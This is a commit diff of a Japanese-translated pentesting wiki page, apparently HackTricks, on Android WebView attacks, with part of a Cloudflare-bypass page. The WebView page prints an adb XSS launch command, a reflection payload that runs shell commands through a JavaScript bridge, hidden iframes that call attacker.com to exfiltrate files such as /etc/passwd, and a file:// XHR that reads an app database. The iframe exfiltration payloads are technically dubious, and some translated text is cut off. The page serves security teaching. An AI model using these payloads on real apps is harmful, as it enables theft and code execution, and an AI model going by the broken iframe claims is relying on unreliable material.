Translated ['mobile-pentesting/android-app-pentesting/webview-attacks.md

This commit is contained in:
Translator 2023-10-27 15:57:19 +00:00
parent a3c22c574b
commit 5acca65623
7 changed files with 404 additions and 132 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 125 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 209 KiB

View file

@ -585,7 +585,7 @@
* [LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure](pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
* [File Upload](pentesting-web/file-upload/README.md)
* [PDF Upload - XXE and CORS bypass](pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md)
* [Formula/CSV/Doc/LaTeX Injection](pentesting-web/formula-doc-latex-injection.md)
* [Formula/CSV/Doc/LaTeX/GhostScript Injection](pentesting-web/formula-csv-doc-latex-ghostscript-injection.md)
* [HTTP Connection Contamination](pentesting-web/http-connection-contamination.md)
* [HTTP Connection Request Smuggling](pentesting-web/http-connection-request-smuggling.md)
* [HTTP Request Smuggling / HTTP Desync Attack](pentesting-web/http-request-smuggling/README.md)

View file

@ -1,82 +1,99 @@
# WebView攻撃
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
## 興味深い設定
# 興味深い設定
次のように公開されたWebViewを特定できます。
## ファイルアクセス
_WebView_ のファイルアクセスはデフォルトで有効になっています。API 3Cupcake 1.5)以降、[_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) メソッドを使用して明示的に有効化または無効化することができます。\
アプリケーションが _**android.permission.READ\_EXTERNAL\_STORAGE**_ を持っている場合、外部ストレージからファイルを読み込んでロードすることができます。\
_WebView_ はファイルにアクセスするために、`file://path/file` のようなファイルURLスキームを使用する必要があります。
### ファイルURLからのユニバーサルアクセス非推奨
> **ファイル**スキームURLのコンテキストでの**クロスオリジンリクエスト**が、**任意のオリジンのコンテンツにアクセスできるように**許可されるかどうかを設定します。これには、**他のファイルスキームURLやWebコンテキストのコンテンツにアクセスする**ことが含まれます。ただし、画像HTML要素などの一部のアクセスは、同一オリジンルールに従わず、この設定の影響を受けません。
>
> 外部ソースによって作成または変更される可能性のあるファイルを開く場合は、この設定を有効にしないでください。この設定を有効にすると、`file://` コンテキストでロードされた悪意のあるスクリプトが、WebViewのクッキーやアプリのプライベートデータ、さらには任意のウェブサイトで使用される資格情報を含む**任意のローカルファイルにアクセス**することができます。
要約すると、これにより**任意のオリジンの読み込みが防止**されます。アプリは、コンテンツをロードするためにURLリクエストを送信し、応答がそのオリジンを許可しない場合**`Access-Control-Allow-Origin: file://`**)、コンテンツはロードされません。\
**デフォルト値は`false`**で、[`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) 以上をターゲットにしています。
* [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) を使用して、ファイルスキームURLのコンテキストで実行されるJavaScriptが任意のオリジンのコンテンツにアクセスできるかどうかを確認します。
* [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) を使用して、有効化/無効化します。
{% hint style="info" %}
`loadDataWithBaseURL()``null` の baseURL で使用すると、危険な設定がすべて有効になっていても、**ローカルファイルを読み込むことができなくなります**。
{% endhint %}
### ファイルURLからのファイルアクセス非推奨 <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
> **ファイル**スキームURLのコンテキストでの**クロスオリジンリクエスト**が、他のファイルスキームURLのコンテンツにアクセスできるように許可されるかどうかを設定します。ただし、画像HTML要素などの一部のアクセスは、同一オリジンルールに従わず、この設定の影響を受けません。
>
> 外部ソースによって作成または変更される可能性のあるファイルを開く場合は、この設定を有効にしないでください。この設定を有効にすると、`file://` コンテキストでロードされた悪意のあるスクリプトが、WebViewのクッキーやアプリのプライベートデータを含む**任意のローカルファイルにアクセス**することができます。
要約すると、これによりJavaScriptが `file://` プロトコルを介してローカルファイルにアクセスすることができなくなります。\
ただし、[`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) の値が `true` の場合、この設定の値は**無視されます**。\
**デフォルト値は`false`**で、[`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) 以上をターゲットにしています。
* [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) を使用して、ファイルスキームURLのコンテキストで実行されるJavaScriptが他のファイルスキームURLのコンテンツにアクセスできるかどうかを確認します。
* [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\)) を使用して、有効化/無効化します。
<figure><img src="../../.gitbook/assets/image (718).png" alt=""><figcaption></figcaption></figure>
### ファイルアクセス
> WebView 内での**ファイルアクセスを有効化または無効化**します。これにより、ファイルシステムへのアクセスが有効化または無効化されます。ただし、アセットとリソースは引き続き file:///android\_asset および file:///android\_res を使用してアクセスできます。
_WebView_のファイルアクセスはデフォルトで有効になっています。API 3Cupcake 1.5)以降、[_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\))メソッドを使用して明示的に有効化または無効化できます。\
アプリケーションが\_**android.permission.READ\_EXTERNAL\_STORAGE** \_を持っている場合、外部ストレージからファイルを読み込んでロードすることができます。\
_WebView_は、ファイルURLスキーム`file://path/file`)を使用してファイルにアクセスする必要があります。
要約すると、無効にすると、WebView は `file://` プロトコルを使用してローカルファイルをロードすることができなく
### WebViewAssetLoader
#### ファイルURLからのユニバーサルアクセス非推奨
> [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html)クラス内で、アプリケーションの静的アセットやリソースを含むローカルファイルをhttp(s):// URLを使用してロードするためのヘルパークラスです。`"file://"`ではなくWebのようなURLを使用してローカルファイルをロードすることは、Same-Originポリシーと互換性があるため望ましいです。
> ファイルスキームURLのコンテキストでの**クロスオリジンリクエスト**が、**任意のオリジンのコンテンツにアクセスできるように**許可されるかどうかを設定します。これには、**他のファイルスキームURLまたはWebコンテキストからのコンテンツへのアクセス**が含まれます。ただし、画像HTML要素などの一部のアクセスは、同一オリジンルールに従わず、この設定の影響を受けません。
>
> 外部ソースによって作成または変更される可能性のあるファイルを開く場合は、この設定を**有効にしないでください**。この設定を有効にすると、`file://`コンテキストでロードされた悪意のあるスクリプトが、WebViewのクッキーやアプリのプライベートデータ、さらには任意のWebサイトで使用される資格情報を含む**任意のローカルファイルにアクセス**することができます。
これはローカルファイルをロードする新しい推奨方法です。目的は、**ドメインを持つHTTP URLを使用してローカルファイルにアクセスする**ことです。これにより、ローカルのWebページとWebサーバーからダウンロードされたWebページとの間で**CORS**を**簡単に**維持できます。
要約すると、これにより**任意のオリジンの読み込みが防止**されます。アプリは、コンテンツをロードするためにURLリクエストを送信し、応答がそのオリジンを許可しない場合**`Access-Control-Allow-Origin: file://`**)、コンテンツはロードされません。\
[`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN)以上をターゲットにしている場合、**デフォルト値は`false`**です。
## JavaScriptの有効化
* [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\))を使用して、ファイルスキームURLのコンテキストで実行されるJavaScriptが任意のオリジンのコンテンツにアクセスできるかどうかを確認しますUniversalAccessFromFileURLが有効な場合
* [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\))を使用して、有効/無効にします。
WebViewはデフォルトでJavaScriptが**無効になっています**。[`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\))メソッドを使用して明示的に有効化または無効化することができます。\
なお、WebViewは他のアプリケーションを起動することができる**`intent`スキーム**もサポートしています。[この解説記事](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105)を読んで、XSSからRCEへの移行方法を見つけてください。
{% hint style="info" %}
`baseURL`を`null`として`loadDataWithBaseURL()`を使用すると、すべての危険な設定が有効になっていても、**ローカルファイルの読み込みが防止**されます。
{% endhint %}
## JavaScriptブリッジ
#### ファイルURLからのファイルアクセス非推奨 <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
Androidでは、WebViewで実行されるJavaScriptが、アテーション`@JavascriptInterface`で注釈付けされた**Androidアプリのネイティブ関数を呼び出し、使用する方法**を提供しています。これは_WebView JavaScriptブリッジ_または_ネイティブブリッジ_として知られています。
> ファイルスキームURLのコンテキストでのクロスオリジンリクエストが、他のファイルスキームURLからのコンテンツにアクセスできるように許可されるかどうかを設定します。ただし、画像HTML要素などの一部のアクセスは、同一オリジンルールに従わず、この設定の影響を受けません。
>
> 外部ソースによって作成または変更される可能性のあるファイルを開く場合は、この設定を**有効にしないでください**。この設定を有効にすると、`file://`コンテキストでロードされた悪意のあるスクリプトが、WebViewのクッキーやアプリのプライベートデータなどの**任意のローカルファイルにアクセス**することができます。
`addJavascriptInterface`を使用すると、登録されたJavaScriptインターフェースオブジェクトへのアクセス権限がWebView内でロードされるすべてのページに明示的に付与されることに注意してください。これは、ユーザーがアプリやドメインの外に移動した場合、他のすべての外部ページもそれらのJavaScriptインターフェースオブジェクトにアクセスできる可能性があるため、潜在的なセキュリティリスクが存在する可能性があります。
要約すると、これによりjavascriptが`file://`プロトコルを介してローカルファイルにアクセスすることが防止されます。\
ただし、[`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\))の値が`true`の場合、この設定の値は**無視されます**。\
[`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN)以上をターゲットにしている場合、**デフォルト値は`false`**です。
> 警告: Android 4.2APIレベル17未満をターゲットにしたアプリは、`addJavascriptInterface`の実装における[欠陥に脆弱](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/)であるため、非常に注意が必要です。これは、悪意のあるJavaScriptがWebViewに注入された場合にリモートコード実行につながる、リフレクションを悪用する攻撃です。これは、すべてのJavaオブジェクトメソッドがデフォルトでアクセス可能であるためテーションのみでなく、起こりました。
* [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\))を使用して、ファイルスキームURLのコンテキストで実行されるJavaScriptが他のファイルスキームURLからコンテンツにアクセスできるかどうかを確認します。
* [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\))を使用して、有効/無効にします。
#### ファイルアクセス
### 静的解析
> WebView内での**ファイルアクセスを有効または無効**にします。ただし、これはファイルシステムへのアクセスのみを有効または無効にします。アセットとリソースは引き続き`file:///android_asset`および`file:///android_res`を使用してアクセスできます。
要約すると、無効にするとWebViewは`file://`プロトコルを使用してローカルファイルを読み込むことができません。\
[`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION_CODES#R)以上をターゲットにする場合、**デフォルト値は`false`**です。
* 設定が有効かどうかを知るには、[`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\))を使用します。
* 有効または無効にするには、[`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\))を使用します。
#### WebViewAssetLoader
> [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html)クラス内でhttp(s):// URLを使用してアプリケーションの静的アセットやリソースを含むローカルファイルを読み込むためのヘルパークラスです。`"file://"`ではなくWebのようなURLを使用してローカルファイルを読み込むことは、同一オリジンポリシーと互換性があるため望ましいです。
これはローカルファイルを読み込むための新しい推奨方法です。目的は、**ドメインを使用してローカルファイルにアクセス**することです。これにより、**ローカル**のWeb**ページ**とWebサーバーからダウンロードされる**Webページ**の間で**CORS**を**簡単に**維持できます。
### JavaScriptの有効化
WebViewはデフォルトでJavaScriptが**無効**になっています。メソッド[`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\))を使用して明示的に有効または無効にできます。\
なお、WebViewは**`intent`スキーム**もサポートしており、他のアプリケーションを起動することができます。[この記事](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105)を読んでXSSからRCEに進む方法を見つけることができます。
以下は、パラメーター「support_url」を介してXSSに対して脆弱な公開されたWebviewの例ですこれはWebviewで読み込むURLを示すことができます
<figure><img src="../../.gitbook/assets/image (719).png" alt="" width="563"><figcaption></figcaption></figure>
adbから次のようなものを使用してその脆弱性を悪用することが可能です
{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"
```
{% endcode %}
### Javascript Bridge
Androidは、WebViewで実行されるJavaScriptがAndroidアプリのネイティブ関数`@JavascriptInterface`で注釈付けされたものを呼び出して使用する方法を提供しています。これは、_WebView JavaScriptブリッジ_または_ネイティブブリッジ_として知られています。
`addJavascriptInterface`メソッドを使用すると、登録されたJavaScriptインターフェースオブジェクトに対してWebView内で読み込まれるすべてのページからアクセスできるようになります。したがって、ユーザーがアプリやドメインの外に移動する場合、他の外部ページもこれらのJavaScriptインターフェースオブジェクトにアクセスできる可能性があります。これは、これらのインターフェースを介して機密データが公開されている場合に潜在的なセキュリティリスクを引き起こす可能性があります。
> 警告: Android 4.2APIレベル17以下をターゲットにしたアプリは、`addJavascriptInterface`の実装における欠陥に対して脆弱です。この欠陥は、リフレクションを悪用する攻撃であり、WebViewに悪意のあるJavaScriptが注入された場合にリモートコード実行が発生します。これは、すべてのJavaオブジェクトメソッドがデフォルトでアクセス可能であるため注釈付きのメソッドのみでない、この問題が発生しました。
#### 静的解析
```javascript
//Class with a method to access a secret
public class JavascriptBridge {
@ -99,21 +116,21 @@ webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>
```
JavaScriptのコードにアクセスできる場合、例えば保存された**XSS**、**MITM**攻撃、またはWebView内でロードされる**悪意のあるウェブサイト**を介して、公開されたJavaメソッドを直接呼び出すことができます。
JavaScriptのコードにアクセスできる場合、例えば保存された**XSS**、**MITM**攻撃、またはWebView内でロードされる**悪意のあるウェブサイト**を介して、公開されたJavaメソッドを直接呼び出すことができます。
{% hint style="info" %}
この脆弱性を悪用しようとする場合、攻撃者のウェブページへの**オープンリダイレクト**を介してネイティブAndroidオブジェクトにアクセスする場合に注意してください。リダイレクトへのアクセスがモバイル**ブラウザ**を介して行われ、同じ**WebView**を使用しない場合、**ブラウザはネイティブAndroidオブジェクトにアクセスできません**。
この脆弱性を悪用しようとする場合、**攻撃者のウェブページへのオープンリダイレクト**を介してネイティブAndroidオブジェクトにアクセスする場合に注意してください。リダイレクトへのアクセスがモバイル**ブラウザ**を介して行われ、同じ**WebView**を使用しない場合、**ブラウザはネイティブAndroidオブジェクトにアクセスできません**。
{% endhint %}
`addJavascriptInterface`が必要な場合は、次の点に注意してください:
* APKで提供される**JavaScriptのみ**がブリッジを使用できるようにする必要があります。例えば、各ブリッジされたJavaメソッドでURLを検証することによって`WebView.getUrl`を使用して、URLを確認します。
* リモートエンドポイントから**JavaScriptをロードしないでください**。つまり、アプリのドメイン内でページのナビゲーションを行い、他のすべてのドメインをデフォルトのブラウザChrome、Firefoxで開きます。
* 旧バージョンのデバイスをサポートする必要がある場合など、**少なくともマニフェストファイルで最小APIレベルを17に設定**してください(`<uses-sdk android:minSdkVersion="17" />`)。
* レガシーの理由(例:古いデバイスのサポートが必要な場合)に必要な場合は、アプリのマニフェストファイルで最小APIレベルを少なくとも17に設定してください`<uses-sdk android:minSdkVersion="17" />`)。
## 反射を使用したRCEへのJavaScriptブリッジ
### 反射を介したRCEへのJavaScriptブリッジ
[**この研究**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/)で指摘されているようにRCEを取得する場合のアイデアを確認するために参照してください、JavaScriptブリッジを見つけた場合、次のようなペイロードを使用して**反射**を介して**RCE**を取得することができる場合があります:
[**この研究**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/)で指摘されているようにRCEを取得する場合のアイデアを確認するために参照してください、JavaScriptブリッジが見つかった場合、次のようなペイロードを使用して**反射**を介して**RCE**を取得することができる場合があります:
```markup
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
@ -126,10 +143,10 @@ execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
しかし、現代のアプリケーションでは、**`@JavascriptInterface`アノテーション**を使用することがあります。このアテーションは、JavascriptBridgeに対して、このアテーションが付いたメソッドのみが**公開**されることを示します。\
このシナリオでは、Reflectionを悪用して任意のコードを実行することはできません。
## リモートデバッグ
### リモートデバッグ
**リモートWebViewデバッグ**を使用すると、**Chrome Developer Tools**でWebViewにアクセスできます。\
デバイスはPCからアクセス可能である必要がありますUSB、ローカルエミュレータ、ローカルネットワークなど、デバッグ可能なWebViewが実行されている場合、**chrome://inspect/#devices**にアクセスします:
**リモートWebViewデバッグ**は、**Chrome Developer Tools**を使用してWebViewにアクセスすることができます。\
デバイスはPCからアクセス可能である必要がありますUSB、ローカルエミュレータ、ローカルネットワークなどそしてデバッグ可能なWebViewが実行されている場合、**chrome://inspect/#devices**にアクセスします:
![](<../../.gitbook/assets/image (525).png>)
@ -137,7 +154,7 @@ execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
![](<../../.gitbook/assets/image (526).png>)
**WebViewリモートデバッグ**を有効にするには、次のようなことができます:
**WebViewリモートデバッグ**を有効にするためには、次のようなことができます:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
@ -146,7 +163,7 @@ WebView.setWebContentsDebuggingEnabled(true);
**この設定は、アプリケーションのすべてのWebViewに適用されます。**
{% hint style="info" %}
**WebViewのデバッグは、アプリケーションのマニフェストの`debuggable`フラグの状態に影響を受けません。`debuggable`が`true`の場合にのみWebViewデバッグを有効にしたい場合は、ランタイムでフラグをテストしてください。**
**WebViewのデバッグは、アプリケーションのマニフェストの`debuggable`フラグの状態に影響を受けません。`debuggable`が`true`の場合にのみWebViewデバッグを有効にしたい場合は、ランタイムでフラグをテストしてください。
{% endhint %}
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
@ -154,37 +171,17 @@ if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
# ペイロード
## ペイロード
## 任意のファイルを外部に持ち出す
### 任意のファイルを外部に持ち出す
```html
<iframe src="http://attacker.com/steal.php?file=/path/to/file" style="display:none;"></iframe>
<iframe src="http://attacker.com/exfil?file=/etc/passwd"></iframe>
```
This payload uses an iframe to load a remote URL (`http://attacker.com/steal.php`) with a parameter specifying the file to be exfiltrated (`file=/path/to/file`). The iframe is hidden from the user's view (`style="display:none;"`).
このペイロードは、WebView内のアプリケーションが任意のファイルを外部に持ち出すことができるようにします。攻撃者は、`src`属性を使用して外部のサーバーにファイルの場所を指定します。この例では、`/etc/passwd`ファイルが攻撃者のサーバーに送信されます。
このペイロードは、iframeを使用してリモートURL`http://attacker.com/steal.php`)を読み込み、外部に持ち出すファイル(`file=/path/to/file`を指定するパラメータを使用します。iframeはユーザーのビューから隠されます`style="display:none;"`)。
## Exfiltrate sensitive data
```html
<iframe src="http://attacker.com/steal.php?data=<script>document.location.href</script>" style="display:none;"></iframe>
```
This payload exfiltrates sensitive data by loading a remote URL (`http://attacker.com/steal.php`) with a parameter that contains JavaScript code (`<script>document.location.href</script>`) to obtain the current URL of the WebView. The iframe is hidden from the user's view (`style="display:none;"`).
このペイロードは、JavaScriptコード`<script>document.location.href</script>`を含むパラメータを使用して、WebViewの現在のURLを取得するためにリモートURL`http://attacker.com/steal.php`を読み込むことで、機密データを外部に持ち出します。iframeはユーザーのビューから隠されます`style="display:none;"`)。
## Perform phishing attacks
```html
<iframe src="http://attacker.com/phishing.php" style="display:none;"></iframe>
```
This payload performs a phishing attack by loading a remote URL (`http://attacker.com/phishing.php`) within an iframe that is hidden from the user's view (`style="display:none;"`).
このペイロードは、ユーザーのビューから隠されたiframe内でリモートURL`http://attacker.com/phishing.php`)を読み込むことにより、フィッシング攻撃を実行します(`style="display:none;"`)。
この攻撃を防ぐためには、WebView内のアプリケーションが外部のリソースにアクセスできないようにする必要があります。また、ファイルのパスを検証し、信頼できるソースからのみのアクセスを許可する必要があります。
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
@ -195,26 +192,20 @@ alert(xhr.responseText);
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
# 参考文献
## 参考文献
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、PRを[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**に提出してください。**
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

View file

@ -4,10 +4,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
@ -49,7 +49,7 @@ echo "Checking $ir"
prips $ir | hakoriginfinder -h "$DOMAIN"
done
```
### AWSマシンからCloudflareを解する
### AWSマシンからCloudflareを解する
このプロセスの詳細な説明については、以下を参照してください:
@ -67,11 +67,31 @@ cat webs.json | jq -r "select((.failed==false) and (.chain_status_codes | length
# Search via Host header
httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.com -threads 250 -random-agent -follow-redirects -o web_checks.json
```
## Cloudflareのスクレイピングのバイパス
## Cloudflareを介してCloudflareをバイパスする
### 認証済みオリジンプル
